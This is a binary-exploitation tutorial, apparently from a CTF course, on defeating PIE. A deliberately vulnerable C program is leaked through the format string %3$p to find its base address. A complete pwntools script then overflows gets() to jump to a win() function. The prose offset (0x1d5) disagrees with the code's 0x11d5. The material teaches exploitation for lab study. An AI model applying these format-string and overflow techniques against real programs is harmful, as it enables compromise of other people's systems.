PIE Bypass

Using format string

The Source

#include <stdio.h>

void vuln() {
    char buffer[20];

    printf("What's your name?\n");
    gets(buffer);
    
    printf("Nice to meet you ");
    printf(buffer);
    printf("\n");

    puts("What's your message?");

    gets(buffer);
}

int main() {
    vuln();

    return 0;
}

void win() {
    puts("PIE bypassed! Great job :D");
}

Unlike last time, we don't get given a function. We'll have to leak it with format strings.

Analysis

$ ./vuln-32 

What's your name?
%p
Nice to meet you 0xf7f6d080
What's your message?
hello

Everything's as we expect.

Exploitation

Setup

As last time, first we set everything up.

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

PIE Leak

Now we just need a leak. Let's try a few offsets.

$ ./vuln-32 
What's your name?
%p %p %p %p %p
Nice to meet you 0xf7eee080 (nil) 0x565d31d5 0xf7eb13fc 0x1

3rd one looks like a binary address, let's check the difference between the 3rd leak and the base address in radare2. Set a breakpoint somewhere after the format string leak (doesn't really matter where).

$ r2 -d -A vuln-32 

Process with PID 5548 started...
= attach 5548 5548
bin.baddr 0x565ef000
0x565f01c9]> db 0x565f0234
[0x565f01c9]> dc
What's your name?
%3$p
Nice to meet you 0x565f01d5

We can see the base address is 0x565ef000 and the leaked value is 0x565f01d5. Therefore, subtracting 0x1d5 from the leaked address should give us the binary. Let's leak the value and get the base address.

p.recvuntil('name?\n')
p.sendline('%3$p')

p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)

elf.address = elf_leak - 0x11d5
log.success(f'PIE base: {hex(elf.address)}') # not required, but a nice check

Now we just need to send the exploit payload.

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.recvuntil('message?\n')
p.sendline(payload)

print(p.clean().decode())

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

p.recvuntil('name?\n')
p.sendline('%3$p')

p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)

elf.address = elf_leak - 0x11d5
log.success(f'PIE base: {hex(elf.address)}')

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.recvuntil('message?\n')
p.sendline(payload)

print(p.clean().decode())

64-bit

Same deal, just 64-bit. Try it out :)

Last updated 4 years ago